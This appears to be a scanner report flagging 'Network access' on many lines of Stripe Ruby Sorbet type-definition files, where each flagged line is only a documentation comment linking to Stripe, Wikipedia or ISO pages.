    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 627
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 628
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 629
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 639
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 640
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 641
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 653
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 654
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 655
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 665
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 666
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 667
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 848
    sig { returns(T.nilable(String)) }         def brand; end         # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 849
    def brand; end         # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.         sig { returns(T.nilable(String)) }
  • Network accessline 850
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 851
    sig { returns(T.nilable(String)) }         def brand_product; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters
  • Network accessline 852
    def brand_product; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In so
  • Network accessline 853
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1008
    sig { returns(T.nilable(String)) }         def brand; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and fir
  • Network accessline 1009
    def brand; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases
  • Network accessline 1010
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1704
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1705
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1706
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1716
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1717
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1718
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1774
    # Indicates that you intend to make future payments with this ConfirmationToken's payment method.     #     # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Paymen
  • Network accessline 1775
    #     # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the
  • Network accessline 1776
    # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/connect_collection_transfer.rbi

  • Network accessline 8
    sig { returns(Integer) }     def amount; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 9
    def amount; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 10
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/country_spec.rbi

  • Network accessline 9
    #   # You can also view the information from this API call as [an online   # guide](https://docs.stripe.com/docs/connect/required-verification-information).
  • Network accessline 10
    # You can also view the information from this API call as [an online   # guide](https://docs.stripe.com/docs/connect/required-verification-information).   class CountrySpec < APIResource
  • Network accessline 11
    # guide](https://docs.stripe.com/docs/connect/required-verification-information).
  • Network accessline 68
    sig { returns(T::Array[String]) }     def supported_payment_currencies; end     # Payment methods available in the specified country. You may need to enable some payment methods (e.g., [ACH](https://stripe.com/docs/ach)) on your account bef
  • Network accessline 69
    def supported_payment_currencies; end     # Payment methods available in the specified country. You may need to enable some payment methods (e.g., [ACH](https://stripe.com/docs/ach)) on your account before they appear in this list. The `str
  • Network accessline 70
    # Payment methods available in the specified country. You may need to enable some payment methods (e.g., [ACH](https://stripe.com/docs/ach)) on your account before they appear in this list. The `stripe` payment method refers to [charging th

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/coupon.rbi

  • Network accessline 5
    module Stripe   # A coupon contains information about a percent-off or amount-off discount you   # might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.st
  • Network accessline 6
    # A coupon contains information about a percent-off or amount-off discount you   # might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.stripe.com#invoice
  • Network accessline 7
    # might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.stripe.com#invoices),
  • Network accessline 8
    # [checkout sessions](https://docs.stripe.com/api/checkout/sessions), [quotes](https://api.stripe.com#quotes), and more. Coupons do not work with conventional one-off [charges](https://api.stripe.com#create_charge) or [payment intents](http
  • Network accessline 39
    sig { returns(Integer) }     def created; end     # If `amount_off` has been set, the three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the amount to take off.
  • Network accessline 40
    def created; end     # If `amount_off` has been set, the three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the amount to take off.     sig { returns(T.nilable(String)) }
  • Network accessline 41
    # If `amount_off` has been set, the three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the amount to take off.
  • Network accessline 42
    sig { returns(T.nilable(String)) }     def currency; end     # Coupons defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currenc
  • Network accessline 43
    def currency; end     # Coupons defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 44
    # Coupons defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 60
    sig { returns(T.nilable(Integer)) }     def max_redemptions; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object i
  • Network accessline 61
    def max_redemptions; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns
  • Network accessline 62
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 84
    sig { returns(T.nilable(T::Boolean)) }     def deleted; end     # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API i
  • Network accessline 85
    def deleted; end     # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly.   
  • Network accessline 86
    # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly.
  • Network accessline 94
    # You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome
  • Network accessline 100
    # You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/credit_note.rbi

  • Network accessline 6
    # Issue a credit note to adjust an invoice's amount after the invoice is finalized.   #   # Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes)
  • Network accessline 7
    #   # Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes)   class CreditNote < APIResource
  • Network accessline 8
    # Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes)
  • Network accessline 167
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 168
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 169
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 203
    sig { returns(T.nilable(String)) }     def memo; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structur
  • Network accessline 204
    def memo; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nilable(
  • Network accessline 205
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 236
    sig { returns(T.nilable(ShippingCost)) }     def shipping_cost; end     # Status of this credit note, one of `issued` or `void`. Learn more about [voiding credit notes](https://docs.stripe.com/billing/invoices/credit-notes#voiding).
  • Network accessline 237
    def shipping_cost; end     # Status of this credit note, one of `issued` or `void`. Learn more about [voiding credit notes](https://docs.stripe.com/billing/invoices/credit-notes#voiding).     sig { returns(String) }
  • Network accessline 238
    # Status of this credit note, one of `issued` or `void`. Learn more about [voiding credit notes](https://docs.stripe.com/billing/invoices/credit-notes#voiding).
  • Network accessline 304
    # Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding).
  • Network accessline 310
    # Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/customer.rbi

  • Network accessline 4
    # typed: true module Stripe   # This object represents a customer of your business. Use it to [create recurring charges](https://docs.stripe.com/invoicing/customer), [save payment](https://docs.stripe.com/payments/save-during-payment) and c
  • Network accessline 5
    module Stripe   # This object represents a customer of your business. Use it to [create recurring charges](https://docs.stripe.com/invoicing/customer), [save payment](https://docs.stripe.com/payments/save-during-payment) and contact informa
  • Network accessline 6
    # This object represents a customer of your business. Use it to [create recurring charges](https://docs.stripe.com/invoicing/customer), [save payment](https://docs.stripe.com/payments/save-during-payment) and contact information,
  • Network accessline 11
    sig { returns(T.nilable(String)) }       def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 12
    def city; end       # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 13
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 23
    sig { returns(T.nilable(String)) }       def postal_code; end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 24
    def postal_code; end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 25
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 86
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 87
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 88
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 98
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 99
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 100
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 170
    sig { returns(T.nilable(Address)) }     def address; end     # The current balance, if any, that's stored on the customer in their default currency. If negative, the customer has credit to apply to their next invoice. If positive, the custo
  • Network accessline 171
    def address; end     # The current balance, if any, that's stored on the customer in their default currency. If negative, the customer has credit to apply to their next invoice. If positive, the customer has an amount owed that's added to t
  • Network accessline 172
    # The current balance, if any, that's stored on the customer in their default currency. If negative, the customer has credit to apply to their next invoice. If positive, the customer has an amount owed that's added to their next invoice. Th
  • Network accessline 182
    sig { returns(Integer) }     def created; end     # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) the customer can be charged in for recurring billing purposes.
  • Network accessline 183
    def created; end     # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) the customer can be charged in for recurring billing purposes.     sig { returns(T.nilable(String)) }
  • Network accessline 184
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) the customer can be charged in for recurring billing purposes.
  • Network accessline 190
    # ID of the default payment source for the customer.     #     # If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_obje
  • Network accessline 191
    #     # If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_object-invoice_settings-default_payment_method) field instead
  • Network accessline 192
    # If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_object-invoice_settings-default_payment_method) field instead.
  • Network accessline 197
    # Tracks the most recent state change on any invoice belonging to the customer. Paying an invoice or marking it uncollectible via the API will set this field to false. An automatic payment failure or passing the `invoice.due_date` will set 
  • Network accessline 198
    #     # If an invoice becomes uncollectible by [dunning](https://docs.stripe.com/billing/automatic-collection), `delinquent` doesn't reset to `false`.     #
  • Network accessline 199
    # If an invoice becomes uncollectible by [dunning](https://docs.stripe.com/billing/automatic-collection), `delinquent` doesn't reset to `false`.
  • Network accessline 229
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 230
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 231
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/customer_balance_transaction.rbi

  • Network accessline 4
    # typed: true module Stripe   # Each customer has a [Balance](https://docs.stripe.com/api/customers/object#customer_object-balance) value,
  • Network accessline 5
    module Stripe   # Each customer has a [Balance](https://docs.stripe.com/api/customers/object#customer_object-balance) value,   # which denotes a debit or credit that's automatically applied to their next invoice upon finalization.
  • Network accessline 6
    # Each customer has a [Balance](https://docs.stripe.com/api/customers/object#customer_object-balance) value,
  • Network accessline 7
    # which denotes a debit or credit that's automatically applied to their next invoice upon finalization.   # You may modify the value directly by using the [update customer API](https://docs.stripe.com/api/customers/update),   # or by creati
  • Network accessline 8
    # You may modify the value directly by using the [update customer API](https://docs.stripe.com/api/customers/update),
  • Network accessline 9
    # or by creating a Customer Balance Transaction, which increments or decrements the customer's `balance` by the specified `amount`.   #   # Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance)
  • Network accessline 10
    #   # Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance)   class CustomerBalanceTransaction < APIResource
  • Network accessline 11
    # Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance)
  • Network accessline 23
    sig { returns(T.nilable(T.any(String, ::Stripe::CreditNote))) }     def credit_note; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.c
  • Network accessline 24
    def credit_note; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 25
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 47
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 48
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 49
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 53
    sig { returns(String) }     def object; end     # Transaction type: `adjustment`, `applied_to_invoice`, `credit_note`, `initial`, `invoice_overpaid`, `invoice_too_large`, `invoice_too_small`, `unspent_receiver_credit`, `unapplied_from_invoi
  • Network accessline 54
    def object; end     # Transaction type: `adjustment`, `applied_to_invoice`, `credit_note`, `initial`, `invoice_overpaid`, `invoice_too_large`, `invoice_too_small`, `unspent_receiver_credit`, `unapplied_from_invoice`, `checkout_session_subsc
  • Network accessline 55
    # Transaction type: `adjustment`, `applied_to_invoice`, `credit_note`, `initial`, `invoice_overpaid`, `invoice_too_large`, `invoice_too_small`, `unspent_receiver_credit`, `unapplied_from_invoice`, `checkout_session_subscription_payment`, or

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/customer_cash_balance_transaction.rbi

  • Network accessline 10
    class CustomerCashBalanceTransaction < APIResource     class AdjustedForOverdraft < ::Stripe::StripeObject       # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds taken out of you
  • Network accessline 11
    class AdjustedForOverdraft < ::Stripe::StripeObject       # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds taken out of your Stripe balance.       sig { returns(T.any(String, ::S
  • Network accessline 12
    # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds taken out of your Stripe balance.
  • Network accessline 13
    sig { returns(T.any(String, ::Stripe::BalanceTransaction)) }       def balance_transaction; end       # The [Cash Balance Transaction](https://docs.stripe.com/api/cash_balance_transactions/object) that brought the customer balance negative,
  • Network accessline 14
    def balance_transaction; end       # The [Cash Balance Transaction](https://docs.stripe.com/api/cash_balance_transactions/object) that brought the customer balance negative, triggering the clawback of funds.       sig { returns(T.any(String
  • Network accessline 15
    # The [Cash Balance Transaction](https://docs.stripe.com/api/cash_balance_transactions/object) that brought the customer balance negative, triggering the clawback of funds.
  • Network accessline 24
    end     class AppliedToPayment < ::Stripe::StripeObject       # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were applied to.
  • Network accessline 25
    class AppliedToPayment < ::Stripe::StripeObject       # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were applied to.       sig { returns(T.any(String, ::Stripe::PaymentIntent)) }
  • Network accessline 26
    # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were applied to.
  • Network accessline 142
    end     class RefundedFromPayment < ::Stripe::StripeObject       # The [Refund](https://docs.stripe.com/api/refunds/object) that moved these funds into the customer's cash balance.
  • Network accessline 143
    class RefundedFromPayment < ::Stripe::StripeObject       # The [Refund](https://docs.stripe.com/api/refunds/object) that moved these funds into the customer's cash balance.       sig { returns(T.any(String, ::Stripe::Refund)) }
  • Network accessline 144
    # The [Refund](https://docs.stripe.com/api/refunds/object) that moved these funds into the customer's cash balance.
  • Network accessline 153
    end     class TransferredToBalance < ::Stripe::StripeObject       # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds transferred to your Stripe balance.
  • Network accessline 154
    class TransferredToBalance < ::Stripe::StripeObject       # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds transferred to your Stripe balance.       sig { returns(T.any(String, :
  • Network accessline 155
    # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds transferred to your Stripe balance.
  • Network accessline 164
    end     class UnappliedFromPayment < ::Stripe::StripeObject       # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were unapplied from.
  • Network accessline 165
    class UnappliedFromPayment < ::Stripe::StripeObject       # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were unapplied from.       sig { returns(T.any(String, ::Stripe::PaymentIntent)) }
  • Network accessline 166
    # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were unapplied from.
  • Network accessline 183
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 184
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 185
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 192
    sig { returns(T.nilable(String)) }     def customer_account; end     # The total available cash balance for the specified currency after this transaction was applied. Represented in the [smallest currency unit](https://docs.stripe.com/curre
  • Network accessline 193
    def customer_account; end     # The total available cash balance for the specified currency after this transaction was applied. Represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).     sig { returns(
  • Network accessline 194
    # The total available cash balance for the specified currency after this transaction was applied. Represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 204
    sig { returns(T::Boolean) }     def livemode; end     # The amount by which the cash balance changed, represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). A positive value represents funds being adde
  • Network accessline 205
    def livemode; end     # The amount by which the cash balance changed, represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). A positive value represents funds being added to the cash balance, a negativ
  • Network accessline 206
    # The amount by which the cash balance changed, represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). A positive value represents funds being added to the cash balance, a negative value represents fun
  • Network accessline 216
    sig { returns(T.nilable(TransferredToBalance)) }     def transferred_to_balance; end     # The type of the cash balance transaction. New types may be added in future. See [Customer Balance](https://docs.stripe.com/payments/customer-balance#
  • Network accessline 217
    def transferred_to_balance; end     # The type of the cash balance transaction. New types may be added in future. See [Customer Balance](https://docs.stripe.com/payments/customer-balance#types) to learn more about these types.     sig { ret
  • Network accessline 218
    # The type of the cash balance transaction. New types may be added in future. See [Customer Balance](https://docs.stripe.com/payments/customer-balance#types) to learn more about these types.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/customer_session.rbi

  • Network accessline 7
    # control over a Customer.   #   # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods),
  • Network accessline 8
    #   # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods),   # [Customer Session with the Pricing Table](https://docs.stripe.
  • Network accessline 9
    # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods),
  • Network accessline 10
    # [Customer Session with the Pricing Table](https://docs.stripe.com/payments/checkout/pricing-table#customer-session),
  • Network accessline 11
    # [Customer Session with the Buy Button](https://docs.stripe.com/payment-links/buy-button#pass-an-existing-customer).
  • Network accessline 25
    class CustomerSheet < ::Stripe::StripeObject         class Features < ::Stripe::StripeObject           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that con
  • Network accessline 26
    class Features < ::Stripe::StripeObject           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet 
  • Network accessline 27
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet displays by filtering to only show payment methods
  • Network accessline 32
    # Controls whether the customer sheet displays the option to remove a saved payment method."           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing th
  • Network accessline 33
    #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa
  • Network accessline 34
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 57
    class MobilePaymentElement < ::Stripe::StripeObject         class Features < ::Stripe::StripeObject           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values t
  • Network accessline 58
    class Features < ::Stripe::StripeObject           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment 
  • Network accessline 59
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment element displays by filtering to only show payment
  • Network accessline 67
    # Controls whether the mobile payment element displays the option to remove a saved payment method."           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Rem
  • Network accessline 68
    #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa
  • Network accessline 69
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 72
    # Controls whether the mobile payment element displays a checkbox offering to save a new payment method.           #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#paymen
  • Network accessline 73
    #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentI
  • Network accessline 74
    # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the 
  • Network accessline 102
    class PaymentElement < ::Stripe::StripeObject         class Features < ::Stripe::StripeObject           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that co
  • Network accessline 103
    class Features < ::Stripe::StripeObject           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element
  • Network accessline 104
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element displays by filtering to only show payment method
  • Network accessline 115
